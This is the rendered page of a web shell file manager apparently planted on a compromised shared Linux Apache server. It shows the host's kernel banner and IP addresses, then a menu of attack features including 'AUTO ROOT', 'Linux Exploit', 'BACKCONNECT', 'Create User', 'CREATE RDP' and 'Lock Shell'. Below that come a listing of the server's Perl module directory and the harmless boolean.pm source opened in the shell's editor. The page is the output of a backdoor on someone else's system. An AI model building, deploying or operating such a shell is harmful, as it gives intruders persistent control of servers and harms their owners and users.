Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
Algorithm
[ DIR ]
drwxr-xr-x
Amazon
[ DIR ]
drwxr-xr-x
Apache
[ DIR ]
drwxr-xr-x
App
[ DIR ]
drwxr-xr-x
AppConfig
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Authen
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
BSON
[ DIR ]
drwxr-xr-x
Barcode
[ DIR ]
drwxr-xr-x
Bit
[ DIR ]
drwxr-xr-x
Bundle
[ DIR ]
drwxr-xr-x
Business
[ DIR ]
drwxr-xr-x
Bytes
[ DIR ]
drwxr-xr-x
CDDB
[ DIR ]
drwxr-xr-x
CGI
[ DIR ]
drwxr-xr-x
Cache
[ DIR ]
drwxr-xr-x
Carp
[ DIR ]
drwxr-xr-x
Chart
[ DIR ]
drwxr-xr-x
Chatbot
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Convert
[ DIR ]
drwxr-xr-x
Crypt
[ DIR ]
drwxr-xr-x
DBD
[ DIR ]
drwxr-xr-x
DBIx
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Date
[ DIR ]
drwxr-xr-x
DateTime
[ DIR ]
drwxr-xr-x
Debconf
[ DIR ]
drwxr-xr-x
Debian
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Devscripts
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Dist
[ DIR ]
drwxr-xr-x
Domain
[ DIR ]
drwxr-xr-x
Dpkg
[ DIR ]
drwxr-xr-x
Dselect
[ DIR ]
drwxr-xr-x
DynaLoader
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Eval
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Finance
[ DIR ]
drwxr-xr-x
Flickr
[ DIR ]
drwxr-xr-x
Font
[ DIR ]
drwxr-xr-x
Frontier
[ DIR ]
drwxr-xr-x
GD
[ DIR ]
drwxr-xr-x
Geo
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
Git
[ DIR ]
drwxr-xr-x
GnuPG
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
Heap
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Ima
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Inline
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
Jcode
[ DIR ]
drwxr-xr-x
LWP
[ DIR ]
drwxr-xr-x
Lingua
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
MARC
[ DIR ]
drwxr-xr-x
MIDI
[ DIR ]
drwxr-xr-x
MIME
[ DIR ]
drwxr-xr-x
MLDBM
[ DIR ]
drwxr-xr-x
MP3
[ DIR ]
drwxr-xr-x
MRO
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Method
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
MojoX
[ DIR ]
drwxr-xr-x
MongoDB
[ DIR ]
drwxr-xr-x
Moo
[ DIR ]
drwxr-xr-x
MooseX
[ DIR ]
drwxr-xr-x
NeedRestart
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Number
[ DIR ]
drwxr-xr-x
OLE
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
PBKDF2
[ DIR ]
drwxr-xr-x
PDF
[ DIR ]
drwxr-xr-x
POE
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Parallel
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Parse
[ DIR ]
drwxr-xr-x
Path
[ DIR ]
drwxr-xr-x
Plucene
[ DIR ]
drwxr-xr-x
RDF
[ DIR ]
drwxr-xr-x
RPC
[ DIR ]
drwxr-xr-x
Regexp
[ DIR ]
drwxr-xr-x
Reply
[ DIR ]
drwxr-xr-x
Role
[ DIR ]
drwxr-xr-x
SOAP
[ DIR ]
drwxr-xr-x
SQL
[ DIR ]
drwxr-xr-x
Safe
[ DIR ]
drwxr-xr-x
Sort
[ DIR ]
drwxr-xr-x
Specio
[ DIR ]
drwxr-xr-x
Spreadsheet
[ DIR ]
drwxr-xr-x
Statistics
[ DIR ]
drwxr-xr-x
String
[ DIR ]
drwxr-xr-x
Sub
[ DIR ]
drwxr-xr-x
Sys
[ DIR ]
drwxr-xr-x
Task
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
Try
[ DIR ]
drwxr-xr-x
Type
[ DIR ]
drwxr-xr-x
Types
[ DIR ]
drwxr-xr-x
UNIVERSAL
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
UUID
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
WWW
[ DIR ]
drwxr-xr-x
Web
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
YAML
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
libwww
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
namespace
[ DIR ]
drwxr-xr-x
strictures
[ DIR ]
drwxr-xr-x
AppConfig.pm
31.71
KB
-rw-r--r--
BSON.pm
46.79
KB
-rw-r--r--
CGI.pm
122.81
KB
-rw-r--r--
CGI.pod
66.37
KB
-rw-r--r--
Cache.pm
14.33
KB
-rw-r--r--
Chart.pod
24.49
KB
-rw-r--r--
DebianLinux.pm
5.28
KB
-rw-r--r--
Dpkg.pm
5.72
KB
-rw-r--r--
Error.pm
29.45
KB
-rw-r--r--
Expect.pm
53.62
KB
-rw-r--r--
Expect.pod
42.73
KB
-rw-r--r--
Fh.pm
166
B
-rw-r--r--
Git.pm
46.44
KB
-rw-r--r--
GnuPG.pm
32.96
KB
-rw-r--r--
Heap.pm
3.8
KB
-rw-r--r--
Inline.pm
61.19
KB
-rw-r--r--
Inline.pod
40.84
KB
-rw-r--r--
JSON.pm
61.08
KB
-rw-r--r--
Jcode.pm
22.55
KB
-rw-r--r--
LWP.pm
21.18
KB
-rw-r--r--
MIDI.pm
15.15
KB
-rw-r--r--
MLDBM.pm
16.21
KB
-rw-r--r--
MailTools.pm
458
B
-rw-r--r--
MailTools.pod
2.24
KB
-rw-r--r--
MongoDB.pm
13.29
KB
-rw-r--r--
Moo.pm
33.55
KB
-rw-r--r--
NeedRestart.pm
5.88
KB
-rw-r--r--
POE.pm
25.84
KB
-rw-r--r--
PgCommon.pm
43
KB
-rw-r--r--
Plucene.pm
3.77
KB
-rw-r--r--
Specio.pm
14.83
KB
-rw-r--r--
TimeDate.pm
267
B
-rw-r--r--
URI.pm
34.13
KB
-rw-r--r--
User.pm
2.47
KB
-rw-r--r--
YAML.pm
3.12
KB
-rw-r--r--
YAML.pod
22.61
KB
-rw-r--r--
boolean.pm
2.13
KB
-rw-r--r--
boolean.pod
4.08
KB
-rw-r--r--
oo.pm
1.3
KB
-rw-r--r--
strictures.pm
14.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : boolean.pm
use strict; use warnings; package boolean; our $VERSION = '0.46'; my ($true, $false); use overload '""' => sub { ${$_[0]} }, '!' => sub { ${$_[0]} ? $false : $true }, fallback => 1; use base 'Exporter'; @boolean::EXPORT = qw(true false boolean); @boolean::EXPORT_OK = qw(isTrue isFalse isBoolean); %boolean::EXPORT_TAGS = ( all => [@boolean::EXPORT, @boolean::EXPORT_OK], test => [qw(isTrue isFalse isBoolean)], ); sub import { my @options = grep $_ ne '-truth', @_; $_[0]->truth if @options != @_; @_ = @options; goto &Exporter::import; } my ($true_val, $false_val, $bool_vals); BEGIN { my $t = 1; my $f = 0; $true = do {bless \$t, 'boolean'}; $false = do {bless \$f, 'boolean'}; $true_val = overload::StrVal($true); $false_val = overload::StrVal($false); $bool_vals = {$true_val => 1, $false_val => 1}; } # refaddrs change on thread spawn, so CLONE fixes them up sub CLONE { $true_val = overload::StrVal($true); $false_val = overload::StrVal($false); $bool_vals = {$true_val => 1, $false_val => 1}; } sub true() { $true } sub false() { $false } sub boolean($) { die "Not enough arguments for boolean::boolean" if scalar(@_) == 0; die "Too many arguments for boolean::boolean" if scalar(@_) > 1; return not(defined $_[0]) ? false : "$_[0]" ? $true : $false; } sub isTrue($) { not(defined $_[0]) ? false : (overload::StrVal($_[0]) eq $true_val) ? true : false; } sub isFalse($) { not(defined $_[0]) ? false : (overload::StrVal($_[0]) eq $false_val) ? true : false; } sub isBoolean($) { not(defined $_[0]) ? false : (exists $bool_vals->{overload::StrVal($_[0])}) ? true : false; } sub truth { die "-truth not supported on Perl 5.22 or later" if $] >= 5.021005; # enable modifying true and false &Internals::SvREADONLY( \ !!0, 0); &Internals::SvREADONLY( \ !!1, 0); # turn perl internal booleans into blessed booleans: ${ \ !!0 } = $false; ${ \ !!1 } = $true; # make true and false read-only again &Internals::SvREADONLY( \ !!0, 1); &Internals::SvREADONLY( \ !!1, 1); } sub TO_JSON { ${$_[0]} ? \1 : \0 } 1;
Close
